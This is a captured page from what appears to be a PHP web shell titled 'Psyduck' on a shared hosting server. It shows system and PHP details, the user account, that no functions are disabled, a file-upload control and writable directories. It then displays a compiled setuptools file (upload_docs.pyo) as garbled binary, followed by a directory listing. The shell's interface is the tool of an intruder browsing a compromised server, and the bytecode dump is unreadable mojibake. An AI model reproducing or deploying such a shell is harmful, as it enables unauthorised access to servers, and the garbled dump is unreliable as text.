Psyduck - 可達鴨 之 鴨力山大2


Server : LiteSpeed
System : Linux premium217.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : alloknri ( 880)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /lib/python2.7/site-packages/setuptools/command/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python2.7/site-packages/setuptools/command/upload_docs.pyo
�
�fc@s�dZddlmZddlmZddlmZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
Z
ddlmZddlmZmZddlmZd	d
lmZd�Zdefd
��YZdS(spupload_docs

Implements a Distutils 'upload_docs' subcommand (upload documentation to
PyPI's pythonhosted.org).
i����(tstandard_b64encode(tlog(tDistutilsOptionErrorN(tsix(thttp_clientturllib(titer_entry_pointsi(tuploadcCs%tjrdnd}|jd|�S(Ntsurrogateescapetstrictsutf-8(RtPY3tencode(tsterrors((sB/usr/lib/python2.7/site-packages/setuptools/command/upload_docs.pyt_encodestupload_docscBs�eZdZdZdddejfddgZejZd	�Zd
efgZ	d�Z
d�Zd
�Zd�Z
ed��Zed��Zd�ZRS(shttps://pypi.python.org/pypi/sUpload documentation to PyPIsrepository=trsurl of repository [default: %s]s
show-responses&display full response text from serversupload-dir=sdirectory to uploadcCs1|jdkr-xtdd�D]}tSWndS(Nsdistutils.commandstbuild_sphinx(t
upload_dirtNoneRtTrue(tselftep((sB/usr/lib/python2.7/site-packages/setuptools/command/upload_docs.pyt
has_sphinx/sRcCs#tj|�d|_d|_dS(N(Rtinitialize_optionsRRt
target_dir(R((sB/usr/lib/python2.7/site-packages/setuptools/command/upload_docs.pyR6s
	cCs�tj|�|jdkrs|j�rF|jd�}|j|_q�|jd�}tj	j
|jd�|_n|jd�|j|_d|j
kr�tjd�n|jd|j�dS(NRtbuildtdocsRspypi.python.orgs3Upload_docs command is deprecated. Use RTD instead.sUsing upload directory %s(Rtfinalize_optionsRRRtget_finalized_commandtbuilder_target_dirRtostpathtjoint
build_basetensure_dirnamet
repositoryRtwarntannounce(RRR((sB/usr/lib/python2.7/site-packages/setuptools/command/upload_docs.pyR;s

cCs�tj|d�}z�|j|j�x�tj|j�D]�\}}}||jkry|ryd}t||j��nxj|D]b}tjj||�}|t	|j�j
tjj�}	tjj|	|�}
|j||
�q�Wq8WWd|j
�XdS(Ntws'no files found in upload directory '%s'(tzipfiletZipFiletmkpathRRtwalkRR R!tlentlstriptseptwritetclose(Rtfilenametzip_filetroottdirstfilesttmpltnametfulltrelativetdest((sB/usr/lib/python2.7/site-packages/setuptools/command/upload_docs.pytcreate_zipfileKs"
"cCs�x!|j�D]}|j|�q
Wtj�}|jjj�}tjj	|d|�}z|j
|�|j|�Wdtj
|�XdS(Ns%s.zip(tget_sub_commandstrun_commandttempfiletmkdtemptdistributiontmetadatatget_nameRR R!R;tupload_filetshutiltrmtree(Rtcmd_namettmp_dirR7R2((sB/usr/lib/python2.7/site-packages/setuptools/command/upload_docs.pytrun[s
ccs�|\}}d|}t|t�s1|g}nx�|D]x}t|t�rl|d|d7}|d}nt|�}|Vt|�VdV|V|r8|ddkr8dVq8q8WdS(	Ns*
Content-Disposition: form-data; name="%s"s; filename="%s"iis

i����s
s
(t
isinstancetlistttupleR(titemtsep_boundarytkeytvaluesttitletvalue((sB/usr/lib/python2.7/site-packages/setuptools/command/upload_docs.pyt_build_partis


cCs�d}d|}|d}|df}tj|jd|�}t||j��}tjj|�}tj||�}	d|jd�}
dj	|	�|
fS(	s=
        Build up the MIME payload for the POST data
        s3--------------GHSKFJDLGDS7543FJKLFHRE75642756743254s
--s--s
RMs multipart/form-data; boundary=%stasciit(
t	functoolstpartialRRtmaptitemst	itertoolstchaint
from_iterabletdecodeR!(tclstdatatboundaryRMtend_boundaryt	end_itemstbuildertpart_groupstpartst
body_itemstcontent_type((sB/usr/lib/python2.7/site-packages/setuptools/command/upload_docs.pyt_build_multipart}s

		cCs�t|d��}|j�}WdQX|jj}idd6|j�d6tjj|�|fd6}t|j	d|j
�}t|�}tj
r�|jd�}nd|}|j|�\}}	d	|j}
|j|
tj�tjj|j�\}}}
}}}|d
kr(tj|�}n.|dkrFtj|�}ntd|��d
}yw|j�|jd|
�|	}|jd|�|jdtt|���|jd|�|j �|j!|�Wn0t"j#k
r}|jt|�tj$�dSX|j%�}|j&dkrMd|j&|j'f}
|j|
tj�n�|j&dkr�|j(d�}|dkr�d|j�}nd|}
|j|
tj�n)d|j&|j'f}
|j|
tj$�|j*r�dd|j�ddfGHndS(Ntrbt
doc_uploads:actionR7tcontentt:RSsBasic sSubmitting documentation to %sthttpthttpssunsupported schema RTtPOSTsContent-typesContent-lengtht
Authorizationi�sServer response (%s): %si-tLocationshttps://pythonhosted.org/%s/sUpload successful. Visit %ssUpload failed (%s): %st-iK(+topentreadR@RARBRR tbasenameRtusernametpasswordRRR
R\RgR$R&RtINFORtparseturlparseRtHTTPConnectiontHTTPSConnectiontAssertionErrortconnectt
putrequestt	putheadertstrR,t
endheaderstsendtsocketterrortERRORtgetresponsetstatustreasont	getheaderRt
show_response(RR1tfRjtmetaR^tcredentialstauthtbodytcttmsgtschematnetlocturltparamstqueryt	fragmentstconnRfteRtlocation((sB/usr/lib/python2.7/site-packages/setuptools/command/upload_docs.pyRC�s`
	

'


	N(s
show-responseNs&display full response text from server(supload-dir=Nsdirectory to upload(t__name__t
__module__tDEFAULT_REPOSITORYtdescriptionRRtuser_optionstboolean_optionsRtsub_commandsRRR;RHtstaticmethodRRtclassmethodRgRC(((sB/usr/lib/python2.7/site-packages/setuptools/command/upload_docs.pyRs"
							(t__doc__tbase64Rt	distutilsRtdistutils.errorsRRR�R(R>RDRYRUtsetuptools.externRtsetuptools.extern.six.movesRRt
pkg_resourcesRRRR(((sB/usr/lib/python2.7/site-packages/setuptools/command/upload_docs.pyt<module>s 	
Name
Size
Permissions
Options
__init__.py
0.58 KB
-rw-r--r--
__init__.pyc
0.861 KB
-rw-r--r--
__init__.pyo
0.861 KB
-rw-r--r--
alias.py
2.369 KB
-rw-r--r--
alias.pyc
3.025 KB
-rw-r--r--
alias.pyo
3.025 KB
-rw-r--r--
bdist_egg.py
17.759 KB
-rw-r--r--
bdist_egg.pyc
17.957 KB
-rw-r--r--
bdist_egg.pyo
17.957 KB
-rw-r--r--
bdist_rpm.py
1.473 KB
-rw-r--r--
bdist_rpm.pyc
1.869 KB
-rw-r--r--
bdist_rpm.pyo
1.869 KB
-rw-r--r--
bdist_wininst.py
0.622 KB
-rw-r--r--
bdist_wininst.pyc
1.163 KB
-rw-r--r--
bdist_wininst.pyo
1.163 KB
-rw-r--r--
build_clib.py
4.379 KB
-rw-r--r--
build_clib.pyc
2.777 KB
-rw-r--r--
build_clib.pyo
2.777 KB
-rw-r--r--
build_ext.py
12.864 KB
-rw-r--r--
build_ext.pyc
12.276 KB
-rw-r--r--
build_ext.pyo
12.233 KB
-rw-r--r--
build_py.py
9.371 KB
-rw-r--r--
build_py.pyc
10.417 KB
-rw-r--r--
build_py.pyo
10.417 KB
-rw-r--r--
develop.py
7.857 KB
-rw-r--r--
develop.pyc
7.715 KB
-rw-r--r--
develop.pyo
7.715 KB
-rw-r--r--
dist_info.py
0.938 KB
-rw-r--r--
dist_info.pyc
1.757 KB
-rw-r--r--
dist_info.pyo
1.757 KB
-rw-r--r--
easy_install.py
84.992 KB
-rw-r--r--
easy_install.pyc
78.498 KB
-rw-r--r--
easy_install.pyo
78.442 KB
-rw-r--r--
egg_info.py
24.219 KB
-rw-r--r--
egg_info.pyc
25.289 KB
-rw-r--r--
egg_info.pyo
25.289 KB
-rw-r--r--
install.py
4.573 KB
-rw-r--r--
install.pyc
4.837 KB
-rw-r--r--
install.pyo
4.837 KB
-rw-r--r--
install_egg_info.py
2.151 KB
-rw-r--r--
install_egg_info.pyc
3.11 KB
-rw-r--r--
install_egg_info.pyo
3.11 KB
-rw-r--r--
install_lib.py
3.75 KB
-rw-r--r--
install_lib.pyc
4.756 KB
-rw-r--r--
install_lib.pyo
4.711 KB
-rw-r--r--
install_scripts.py
2.382 KB
-rw-r--r--
install_scripts.pyc
2.823 KB
-rw-r--r--
install_scripts.pyo
2.823 KB
-rw-r--r--
launcher manifest.xml
0.613 KB
-rw-r--r--
py36compat.py
4.869 KB
-rw-r--r--
py36compat.pyc
5.42 KB
-rw-r--r--
py36compat.pyo
5.42 KB
-rw-r--r--
register.py
0.264 KB
-rw-r--r--
register.pyc
0.693 KB
-rw-r--r--
register.pyo
0.693 KB
-rw-r--r--
rotate.py
2.113 KB
-rw-r--r--
rotate.pyc
2.965 KB
-rw-r--r--
rotate.pyo
2.965 KB
-rw-r--r--
saveopts.py
0.643 KB
-rw-r--r--
saveopts.pyc
1.103 KB
-rw-r--r--
saveopts.pyo
1.103 KB
-rw-r--r--
sdist.py
6.554 KB
-rw-r--r--
sdist.pyc
7.64 KB
-rw-r--r--
sdist.pyo
7.64 KB
-rw-r--r--
setopt.py
4.966 KB
-rw-r--r--
setopt.pyc
5.908 KB
-rw-r--r--
setopt.pyo
5.908 KB
-rw-r--r--
test.py
8.998 KB
-rw-r--r--
test.pyc
10.223 KB
-rw-r--r--
test.pyo
10.223 KB
-rw-r--r--
upload.py
1.145 KB
-rw-r--r--
upload.pyc
1.598 KB
-rw-r--r--
upload.pyo
1.598 KB
-rw-r--r--
upload_docs.py
7.14 KB
-rw-r--r--
upload_docs.pyc
7.658 KB
-rw-r--r--
upload_docs.pyo
7.63 KB
-rw-r--r--